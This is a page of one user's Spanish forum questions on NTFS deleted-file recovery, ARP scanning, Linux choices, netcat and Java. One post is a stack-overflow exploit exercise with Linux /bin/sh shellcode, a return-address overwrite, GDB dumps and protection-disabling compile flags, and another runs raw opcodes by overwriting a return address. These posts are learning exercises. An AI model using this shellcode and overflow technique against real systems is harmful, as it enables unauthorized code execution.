|
11
|
Programación / Programación C/C++ / necesito ayuda sobre MFT y su analisis en C
|
en: 26 Enero 2014, 06:33 am
|
hola Estoy tratando de crear un codigo para recuperar archivos borrados, vengo leyendo varios documentos y viendo varios codigos, poco a poco estoy comprendiendo como funciona, hasta ahora he logrado comprender en donde se encuentra la informacion de los archivos, sobre NTFS, MFT y clusters, y mas o menos como encontrar los archivos borrados, sobre sus atributos y despues de eso me faltaria saber como restaurar los archivos he practicado y mas abajo pondre un codigo que hice analizando codigos que hay en la red, desafortunadamente para mi, la mayoria en funcionamiento los encuentro para VB, hay otros pero son muy elaborados usando incluso clases, pero a la mayoria he visto lo mismo Ahora... mi problema es el siguiente, ¿de que forma puedo leer los datos de MFT?, ya tengo una forma de acceso pero no logro entender como hacen ese escaneo por los datos del archivo MFT para analizar los archivos que se encuentran en mi computadora, asi como los borrados espero alguien me pueda ayudar diciendo que API, estructura o que operacion tendria que usar ahora para empezar el analisis en MFT, porfavor, porque ya no se por donde seguir o que mas se deba hacer dejo el codigo que mencione, pero despues de aprender esto, que mas sigue?, perdon si estan mal escrito los printf pero los escribi asi de mal porque solo fue para entender de que sirve la estructura por cierto, he visto que algunos utilizan DISK_GEOMETRY pero yo no lo vi necesario tambien hay unas API que vi que utilizan por ejemplo FSCTL_ENUM_USN_DATA, FSCTL_QUERY_USN_JOURNAL Esto es lo que he logrado entender y es parecido a una parte de VB.net #include <Windows.h> #include <winioctl.h> #include <stdio.h> #define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) #define zwpath L"\\\\.\\PhysicalDrive0" int main(int argc, char *argv[]){ HANDLE hDevice = INVALID_HANDLE_VALUE; BOOL bresul = FALSE; DWORD junk = 0; hDevice = CreateFileW(zwpath, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if(hDevice == INVALID_HANDLE_VALUE){ } NTFS_VOLUME_DATA_BUFFER ntfsData; bresul = DeviceIoControl(hDevice,FSCTL_GET_NTFS_VOLUME_DATA, NULL, 0, &ntfsData, sizeof(NTFS_VOLUME_DATA_BUFFER), &junk, (LPOVERLAPPED)NULL ); printf("Numero de serie = %ld\n", ntfsData. VolumeSerialNumber); printf("Numero de sectores = %ld\n", ntfsData. NumberSectors); printf("Total clusters = %ld\n", ntfsData. TotalClusters); printf("Clusters libres = %ld\n", ntfsData. FreeClusters); printf("Total reservados = %ld\n", ntfsData. TotalReserved); printf("Bytes por sector = %ld\n", ntfsData. BytesPerSector); printf("Bytes por cluster = %ld\n", ntfsData. BytesPerCluster); printf("Bytes por segmeto de archivo = %ld\n", ntfsData. BytesPerFileRecordSegment); printf("Cluster por segmento de archivo = %ld\n", ntfsData. ClustersPerFileRecordSegment); printf("Longitud de datos validos MFT = %ld\n", ntfsData. MftValidDataLength); printf("Inicio de LCN = %ld\n", ntfsData. MftStartLcn); printf("Inicio mirror de LCN = %ld\n", ntfsData. Mft2StartLcn); printf("Zona de Inicio MFT= %ld\n", ntfsData. MftZoneStart); printf("Zona final MFT = %ld\n", ntfsData. MftZoneEnd); }
O si alguien tiene conocimientos en VB.NET que me pueda ayudar a traducir el codigo a C tambien me ayudaria bastante Public Sub FindHDFiles (ByVal Drive As String) Try Dim dinfo = My. Computer. FileSystem. GetDriveInfo(Drive & "\") If Not dinfo.IsReady Then MsgBox("Drive not ready.", MsgBoxStyle.Critical, "ERROR") Exit Sub End If If dinfo.DriveFormat <> "NTFS" Then MsgBox("This feature only works on NTFS volumes.", MsgBoxStyle.Critical, "ERROR") Exit Sub End If ARKDDA = New DirectDriveIO (Drive & "\") Catch MsgBox("Could not access drive.", MsgBoxStyle.Critical, "ERROR") Exit Sub End Try Dim diskhandle = CreateFile ("\\?\" & Drive, EFileAccess. GENERIC_READ + EFileAccess. GENERIC_WRITE, EFileShare. FILE_SHARE_READ + EFileShare. FILE_SHARE_WRITE, Nothing, ECreationDisposition. OPEN_EXISTING, 0, Nothing) If diskhandle = 0 Then diskhandle = CreateFile ("\\.\" & Drive, EFileAccess. GENERIC_READ + EFileAccess. GENERIC_WRITE, EFileShare. FILE_SHARE_READ + EFileShare. FILE_SHARE_WRITE, Nothing, ECreationDisposition. OPEN_EXISTING, 0, Nothing) If diskhandle = 0 Then MsgBox("Could not access drive.", MsgBoxStyle.Critical, "ERROR") Exit Sub End If End If Dim FSCTL_GET_NFTS_VOLUME_DATA = CTL_CODE(FILE_DEVICE.FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) Dim buffer As NTFS_VOLUME_DATA_BUFFER DeviceIoControlNTFS(diskhandle, FSCTL_GET_NFTS_VOLUME_DATA, 0, 0, buffer, SizeOf(buffer), 0, 0) CloseHandle(diskhandle) Dim MFTAddress As Long = buffer.MftStartLcn * CLng(buffer.BytesPerCluster / buffer.BytesPerSector) Dim MFTEntrySize As Integer = buffer.BytesPerFileRecordSegment / buffer.BytesPerSector Dim NumberOfEntries As Long = buffer.MftValidDataLength / MFTEntrySize Dim Bytes(buffer.BytesPerCluster) As Byte Dim CurrEntryBytes(MFTEntrySize * buffer.BytesPerSector) As Byte Dim CurrEntry As New STANDARD_MFT_ENTRY Dim Type As Byte Dim Name As String Dim BaseAddr As Long Dim Parent As Integer Dim DoEventsCounter As Integer = 0 ListView1.Items.Clear() ListView2.Items.Clear() ProgressBar1.Value = 0 ProgressBar1.Maximum = buffer.MftValidDataLength / buffer.BytesPerFileRecordSegment ToolStripStatusLabel1. Text = "Finding files in " & Drive & "\..." Button1.Enabled = False Button2.Enabled = False ComboBox1.Enabled = False Button3.Enabled = False CheckBox2.Enabled = False If CheckBox2. Checked Then Bitmap = ReadBitmap (Drive) Dim BitmapBase As Long = MFTAddress + (MFTEntrySize * 0) Bytes = ARKDDA.ReadSectors(BitmapBase, MFTEntrySize) BaseAddr = MergeToInt(Bytes, &H14, &H15) 'The offset the the first attribute While Bytes(baseaddr) <> &H80 baseaddr = baseaddr + MergeToInt(Bytes, baseaddr + &H4, baseaddr + &H7) 'Add the length of the attribute to the base address to find the next attribute End While baseaddr = baseaddr + &H40 Dim Length As ULong = 0 Dim LenLen As Byte = 0 Dim Offset As ULong = 0 Dim OffLen As Byte = 0 Dim Path As String = "" Dim BaseAddr2 As ULong = 0 Dim FileSize As ULong = 0 Dim LoopCount As Integer = 0 Dim PartNum As Integer = 0 While Bytes(baseaddr) > 0 LenLen = Bytes(BaseAddr) And &HF OffLen = (Bytes(BaseAddr) And &HF0) / &H10 Length = MergeToInt(Bytes, BaseAddr + 1, BaseAddr + LenLen) Offset = Offset + MergeToInt(Bytes, BaseAddr + 1 + LenLen, BaseAddr + LenLen + OffLen) For Record = 0 To ((Length * buffer.BytesPerCluster) / buffer.BytesPerFileRecordSegment) - 1 DoEventsCounter = DoEventsCounter + 1 If DoEventsCounter >= 100 Then Application.DoEvents() DoEventsCounter = 0 End If Try If (PartNum + 1) >= (CurrEntryBytes.Count / buffer.BytesPerFileRecordSegment) Then CurrEntryBytes = ARKDDA.ReadSectors((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)), MFTEntrySize * 1024) BaseAddr2 = 0 PartNum = 0 Else 'CurrEntryBytes = ByteArrayPart(CurrEntryBytes, buffer.BytesPerFileRecordSegment, UBound(CurrEntryBytes)) 'BaseAddr2 = (((BaseAddr2 \ buffer.BytesPerFileRecordSegment) + 1) * buffer.BytesPerFileRecordSegment) PartNum = PartNum + 1 BaseAddr2 = PartNum * buffer.BytesPerFileRecordSegment End If If CurrEntryBytes(BaseAddr2) <> Asc("F") Then 'If CurrEntryBytes(0) <> Asc("F") Then GoTo dn End If Name = "" Parent = 5 Path = "" FileSize = 0 'Type = CurrEntryBytes(&H16) Type = CurrEntryBytes(&H16 + BaseAddr2) 'If Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedDirectory Or Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedFile Then If Type = MFT_ENTRY_FILE_TYPE_FLAGS.DeletedFile Then 'BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, &H14, &H15) 'The offset the the first attribute BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H14, BaseAddr2 + &H15) 'The offset the the first attribute BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute Try Parent = MergeToInt(CurrEntryBytes, BaseAddr2 + &H18, BaseAddr2 + &H1D) Catch End Try Try If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H48, BaseAddr2 + &H4F) If FileSize > 2 ^ 30 Then FileSize = 0 'If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H40, BaseAddr2 + &H47) Catch End Try Try Name = System.Text.UnicodeEncoding.Unicode.GetString(ByteArrayPart(CurrEntryBytes, BaseAddr2 + &H5A, (BaseAddr2 + &H5A) + ((2 * CurrEntryBytes(BaseAddr2 + &H58)) - 2))) Catch End Try Try If Name.Contains("~") Then BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H48, BaseAddr2 + &H4F) If FileSize > 2 ^ 30 Then FileSize = 0 'If FileSize = 0 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H40, BaseAddr2 + &H47) Name = System.Text.UnicodeEncoding.Unicode.GetString(ByteArrayPart(CurrEntryBytes, BaseAddr2 + &H5A, (BaseAddr2 + &H5A) + ((2 * CurrEntryBytes(BaseAddr2 + &H58)) - 2))) End If Catch End Try If Name.Length >= 75 Then Name = Mid(Name, 1, 74) & Mid(Name, 76, Name.Length - 75) If CheckBox1.Checked Then Try Path = GetFullPath2(Parent, MFTAddress, MFTEntrySize, buffer.BytesPerCluster) & "\" & Name Catch End Try End If If FileSize = 0 Then Try LoopCount = 0 While CurrEntryBytes(BaseAddr2) <> &H80 And LoopCount < 5 LoopCount = LoopCount + 1 BaseAddr2 = BaseAddr2 + MergeToInt(CurrEntryBytes, BaseAddr2 + &H4, BaseAddr2 + &H7) 'Add the length of the attribute to the base address to find the next attribute End While 'FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H28, BaseAddr2 + &H2F) 'If FileSize > 2 ^ 30 Then FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H38, BaseAddr2 + &H3F) If MergeToInt(CurrEntryBytes, BaseAddr2 + &HE, BaseAddr2 + &HF) = 1 Then 'It is recycled (filename at offset 0x30,file size at offset 0x10) FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H10, BaseAddr2 + &H13) 'Path = "" 'BaseAddr2 = BaseAddr2 + &H30 'While CurrEntryBytes(BaseAddr2) > 0 'Path = Path + ChrW(MergeToInt(CurrEntryBytes, BaseAddr2, BaseAddr2 + 1)) 'Path = Path + ChrW(CurrEntryBytes(BaseAddr2)) 'BaseAddr2 = BaseAddr2 + 2 'End While Else 'FileSize = 0 FileSize = MergeToInt(CurrEntryBytes, BaseAddr2 + &H30, BaseAddr2 + &H37) End If If FileSize > 2 ^ 30 Then FileSize = 0 Catch End Try End If If FileSize > 0 Then With ListView1.Items.Add(Name) If Not Path.Contains("SKIPTHISFILE") Then .SubItems.Add(Path) Else .SubItems.Add("") End If .SubItems.Add(FileSize) .SubItems.Add((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector))) If CheckBox2.Checked Then Try .SubItems.Add(GetFileIntegrity((Record * MFTEntrySize) + (Offset * (buffer.BytesPerCluster / buffer.BytesPerSector)), buffer.BytesPerSector, buffer.BytesPerFileRecordSegment)) Catch .SubItems.Add("Unknown") End Try Else .SubItems.Add("") End If ListView2.Items.Add(.Clone) End With End If GoTo dn End If Catch End Try dn: Try ProgressBar1.Value = ProgressBar1.Value + 1 Catch End Try Next Record BaseAddr = BaseAddr + (1 + LenLen + OffLen) End While ProgressBar1.Value = 0 ToolStripStatusLabel1.Text = "" Button1.Enabled = True Button2.Enabled = True ComboBox1.Enabled = True Button3.Enabled = True CheckBox2.Enabled = True End Sub
|
|
|
12
|
Programación / Programación C/C++ / ayuda para analizar un codigo que escanea una red local con arp
|
en: 20 Enero 2014, 23:36 pm
|
hola necesito ayuda, tengo un codigo para analizar mi red local, puedo saber lo clasico... ip, netmask y mac address... pero quisiera hacer algo parecido a nmap como el comando -sP que puedes ver que ip's hay conectadas al router pero que ademas mencione netmask y mac address de las demas computadoras encontre un documento en C de 1998 donde lo hacen mediante arp, manda una señal y recibe esos mismo datos que quiero, intente compilar ese codigo para ver como funciona pero solo me manda a la consola los datos de mi computadora, pero la ip de mi celular no me menciona nada, aun no intento hacer la prueba con otra computadora porque ahora soy el unico conectado quisiera saber si alguien de aqui sabe como podria mandar paquetes arp para recibir esa informacion o de que otra manera podria hacerse?, porque podria hacer ping pero como que no me agrada tanto la idea les dejo el codigo que encontre, talvez algunos ya lo conocen se llama arptool hecho por Cristiano Lincoln Mattos solo encontre un link directo al archivo pero para que no piensen que es un virus pondre la direccion completa de google https://www.google.com/search?q=arptool.c&ie=utf-8&oe=utf-8hay otro archivo hecho por Andy en code google pero es para windows, y yo intento hacerlo en linux, lo acabo de encontrar ahorita buscando el archivo jeje , solo que al parecer usa winpcap de windows y yo uso pcap de linux, me imagino hay diferencia en programacion para que no tengan que leer todo, la parte que intento aprender es la funcion mapeo, que es la que usa una funcion llamada sendarp para precisamente hacer el mapeo de las redes junto con otras funciona igual hechas por el autor del codigo hay unas funciones de ese mismo codigo que ya no logre entender, por ejemplo, la funcion str_to_hwaddr, la funcion hexstr_to_int y ya casi le entiendo a la funcion add_to_list que sera casi lo ultimo, porque la funcion show_list es solo para mandar a la consola la informacion guardada en las estructuras espero me puedan ayudar, porque aunque parece sencillo una parte del codigo, ya se me bloquearon las ideas y como hace poco x64Core me hizo el favor de pasarme unos codigos muy buenos que estaba buscando, habian archivos en word que estaban en chino y tuve que traducirlos con google traductor y ahora mismo me encuentro tratando de leer y comprender lo que el traductor quiso decir en varias traducciones bueno, salu2 y gracias de antemano
|
|
|
13
|
Programación / Programación C/C++ / necesito informacion sobre como recuperar archivos borrados en codigo fuente
|
en: 14 Enero 2014, 21:27 pm
|
hola
Alguien sabe donde puedo encontrar codigos fuente donde muestren como recuperar archivos borrados?, he estado investigando sobre el tema pero no he logrado obtener algun ejemplo, se que lo archivos borrados, unicamente se les borra la cabecera y creo se le agrega un hexadecimal al inicio que muestra que el archivo fue borrado, me imagino que tendria que programar un escaneo a una memoria USB ("como ejemplo")... pero no se me ocurre de que forma hacer ese escaneo y analizar los bloques de memoria hasta encontrar esos hexadecimales
tengo la idea de que si encuentro el hexadecimal de inicio de archivo borrado, sera cuestion de encontrar el final del archivo, cada archivo tiene un EOF que lo distingue y asi encontrar los direfentes archivo y despues analizarlos para ver como restaurar la cabecera del archivo y reconstruirlo, he leido un poco tambien sobre eso y me gustaria empezar a llevarlo poco a poco para saber mas sobre como funciona
pero para eso tengo que saber como analizar los clusters que aun tengan informacion o algo asi, ya que no es lo mismo buscar hexadecimales de un archivo con fopen que buscar hexadecimales de un archivo que fue borrado y desconozco en donde se encuentra
por eso quisiera pedir ayuda de si alguien sabe de algun codigo fuente, algun archivo o alguien conoce informacion sobre esto que me pueda ayudar a iniciar
de preferencia en C si es posible
salu2
|
|
|
14
|
Informática / Electrónica / pierde señal los cables ethernet de 10 metros?
|
en: 28 Octubre 2013, 19:20 pm
|
hola
alguien me podria decir si un cable ethernet de 10 metros pierde señal?, es que dicen que hasta 100 metros, otros que hasta 60 metros, incluso que despues de 25, pero tengo un cable de 10 metros y quisiera saber si pierde mucha señal por la distancia
salu2
|
|
|
15
|
Sistemas Operativos / GNU/Linux / otra pergunta mas sobre recomendacion de linux jeje
|
en: 7 Octubre 2013, 00:53 am
|
hola
tengo pensado hacer un cambio de sistema, actualmente uso fedora, la version 17 me gusto, lo actualice a la version 18 y al principio tuve problemas pero despues de algunas actualizaciones se arreglo
pero actualmente he tenido muchisimos problemas con la tarjeta de video, si utilizo las nuevas versiones del kernel 3.10, va lentisimo mi sistema con el driver de amd, la otra opcion es usar el driver libre, pero la temperatura de mi sistema aumenta demasiado y mi ventilador nunca descansa
anteriomente utilice ubuntu, el cual me dejo de gustar por sus frecuentes bugs, cambie a debian pero siempre tenia problemas con las nuevas actualizaciones, al principio no me importaban pero como iba avanzando en el manejo de linux, hubo cosas que me interesaron pero no podia hacerlas porque necesitaba ciertas librerias actualizadas y debian espera bastante tiempo, ya que tampoco me gusta mucho las versiones beta
tambien pase un poco por opensuse, pero eso fue hace años, y no se que tan bien ande ahora y por varias otras variantes que existen PCLinuxOS, kubuntu, Xevian, etc...
entonces me gustaria saber si alguien me puede recomendar alguna distro que sean equivalente o mejor a debian o fedora, que son los que mas me han gustado hasta ahora, tambien que funcionen mejor con gnome ya que uso bastante GTK
bueno, salu2
|
|
|
16
|
Sistemas Operativos / GNU/Linux / porque no se logra una conexion con netcat desde windows hacia linux?
|
en: 27 Septiembre 2013, 23:56 pm
|
hola
Estoy intentando conectar a netcat entre linux, que esta instalado en mi computadora y windows que esta en virtualbox, la conexion de linux hacia windows se hace correctamente, pero cuando intento conectar netcat desde windows hacia linux no se logra ninguna conexion
VirtualBox lo tengo como bridge(puente) para utilizar una ip de mi router, y he intentado desactivar el firewall pero no hay conexion
alguien sabe porque no se logra conectar netcat desde windows hacia linux?, porque como comente hace un momento, desde linux hacia windows si se puede
|
|
|
17
|
Seguridad Informática / Bugs y Exploits / ayuda con un exploit para linux
|
en: 4 Septiembre 2013, 23:19 pm
|
hola Tengo problemas con un ejercicio de un exploit para linux Este es el codigo a explotar #include <stdio.h> #include <string.h> main(int argc, char **argv){ char buffer[80]; return 1; }
Este es el codigo del exploit #include<stdio.h> #include<stdlib.h> #include<string.h> // shellcode ripped from http://www.milw0rm.com/shellcode/444 char shellcode[]= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x99" // cltd "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80" // int $0x80 ; char retaddr[] = "\xaa\xaa\xaa\xaa"; #define NOP 0x90 main() { char buffer[96]; memcpy(buffer +4, shellcode , 24); memcpy(buffer +88, retaddr , 4); memcpy(buffer +92, "\x00\x00\x00\x00", 4); putenv(buffer); return 0; }
Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret (gdb) x/22xw $esp 0xffffcfe0: 0x00000000 0x0804824c 0xffffffff 0x47488023 0xffffcff0: 0x47462a3c 0xf7ffc3d0 0x474edfd0 0x080482bd 0xffffd000: 0x00010000 0x476061d8 0x0804a000 0x08048492 0xffffd010: 0x00000002 0xffffd0d4 0xffffd0e0 0x474881ad 0xffffd020: 0x476083c4 0x00001000 0x0804844b 0x47608000 0xffffd030: 0x08048440 0x00000000 (gdb) x/22xw argv[1] 0xffffd2c3: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969 0xffffd2d3: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090 0xffffd2e3: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd2f3: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd303: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd313: 0x90909090 0xaaaaaaaa Este es ret y esp+4 0xffffd030: 0x08048440 0x00000000 y asi queda despues de meter los valores 0xffffd313: 0x90909090 0xaaaaaaaa Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi #include<stdio.h> #include<stdlib.h> #include<string.h> char shellcode[]= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x99" // cltd "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80" // int $0x80 ; char retaddr[] = "\xe0\xcf\xff\xff"; #define NOP 0x90 main() { char buffer[92]; memcpy(buffer +4, shellcode , 24); memcpy(buffer +84, retaddr , 4); memcpy(buffer +88, "\x00\x00\x00\x00", 4); putenv(buffer); return 0; }
pero volviendo a verificar con GDB (gdb) x/22xw argv[1] 0xffffd2cb: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969 0xffffd2db: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090 0xffffd2eb: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd2fb: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd30b: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd31b: 0xffffcfe0 0x47445800 de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00 0xffffd31b: 0xffffcfe0 0x47445800 Y el problema es que deberia quedar asi 0xffffd31b: 0xffffcfe0 0x00000000 Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88 memcpy(buffer+88, "\x90\x90\x90\x90", 4); entonces lo volvi a depurar y miren (gdb) x/22xw argv[1] 0xffffd2c3: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969 0xffffd2d3: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090 0xffffd2e3: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd2f3: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd303: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd313: 0xffffcfe0 0x90909090 lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi 0xffffd313: 0xffffcfe0 0x00000000 para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000 Alguien me podria ayudar a solucionarlo porfavor salu2 EDITO tengo desactivado randomize_va_space y enforce de SElinux y los dos estan compilados con los mismo parametros gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
|
|
|
18
|
Programación / Programación C/C++ / problema con una violacion de segmento usando opcodes
|
en: 1 Septiembre 2013, 22:23 pm
|
Hola Estaba haciendo un ejemplo de como usar los opcodes para ejecutarlos en un C, por ejemplo Este codigo es el clasico en esamblador de exit(0), y usando objdump quedo asi #include <stdio.h> char exits[] = "\xbb\x14\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main(){ int *ret; ret = (int *)&ret +2; (*ret) = (int)exits; }
el programa lo compilo de esta forma ya que lo estoy analizando como 32 bits y mi sistema es de 64bits gcc -m32 -ggdb -mpreferred-stack-boundary=2 -o salida salida.c pero cuando lo ejecuto me sale una violacion de segmento, me imagino que falla exit(0) y no sale correctamente el programa Alguien me podria decir porque falla el codigo?
|
|
|
19
|
Programación / Java / al cargar una base de datos, la tabla me aparece vacía (JTable)
|
en: 30 Agosto 2013, 06:31 am
|
hola Alguien me podría decir que error o que estoy haciendo mal en esta parte del código, lo que hace es hacer una conexión con sqlite y mostrar el resultado en una tabla en forma de lista para ver las columnas esto lo hice anteriormente con código pero no supe como agregar y acomodar las cajas de texto y botones, así que abrí un nuevo proyecto usando JFRAME, y al parecer el código funciona porque me da el nombre de la primera columna de una base "main.db" pero cuando hago un while para mostrar la lista de la columna, me aparecen algunos "Row" pero están vacíos A ver si alguien me pude decir que podría estar mal, o si podría ser algo de las propiedades de la tabla Conexion cnx = new Conexion(); try{ cnx.conectar(); String sql = "SELECT name FROM sqlite_master"; cnx.consulta = cnx.conexion.createStatement(); ResultSet res = cnx. consulta. executeQuery(sql ); if(res != null){ int colm = res.getMetaData().getColumnCount(); for(int i = 1; i <= colm; i++){ tableModel.addColumn(res.getMetaData().getColumnName(i)); } while(res.next()){ for(int j = 1; j <= colm; j++){ objetos[j-1] = res.getObject(j); } tableModel.addRow(objetos); } } { } }
|
|
|
20
|
Foros Generales / Foro Libre / Esto es una mala palabra?
|
en: 29 Agosto 2013, 04:56 am
|
Hola Alguien de españa que pueda decirme si pajearse y pajeos es lo mismo?, es que me dijeron que si cuando vimos un hospital con ese nombre, y nos dio risa https://maps.google.com.mx/maps?q=San+Felipe+de+Jes%C3%BAs,+Gustavo+A.+Madero,+Ciudad+de+M%C3%A9xico&hl=es&ie=UTF8&ll=19.498691,-99.085307&spn=0.00063,0.002642&sll=19.448707,-99.111829&sspn=0.022216,0.042272&oq=san+fe&hnear=San+Felipe+de+Jes%C3%BAs,+Gustavo+A.+Madero,+Ciudad+de+M%C3%A9xico,+Distrito+Federal&t=m&z=19&layer=c&cbll=19.498691,-99.085306&panoid=coJf2k9SUbNrbkZhfZAlkA&cbp=11,181.56,,0,4.17
|
|
|
|
|
|
|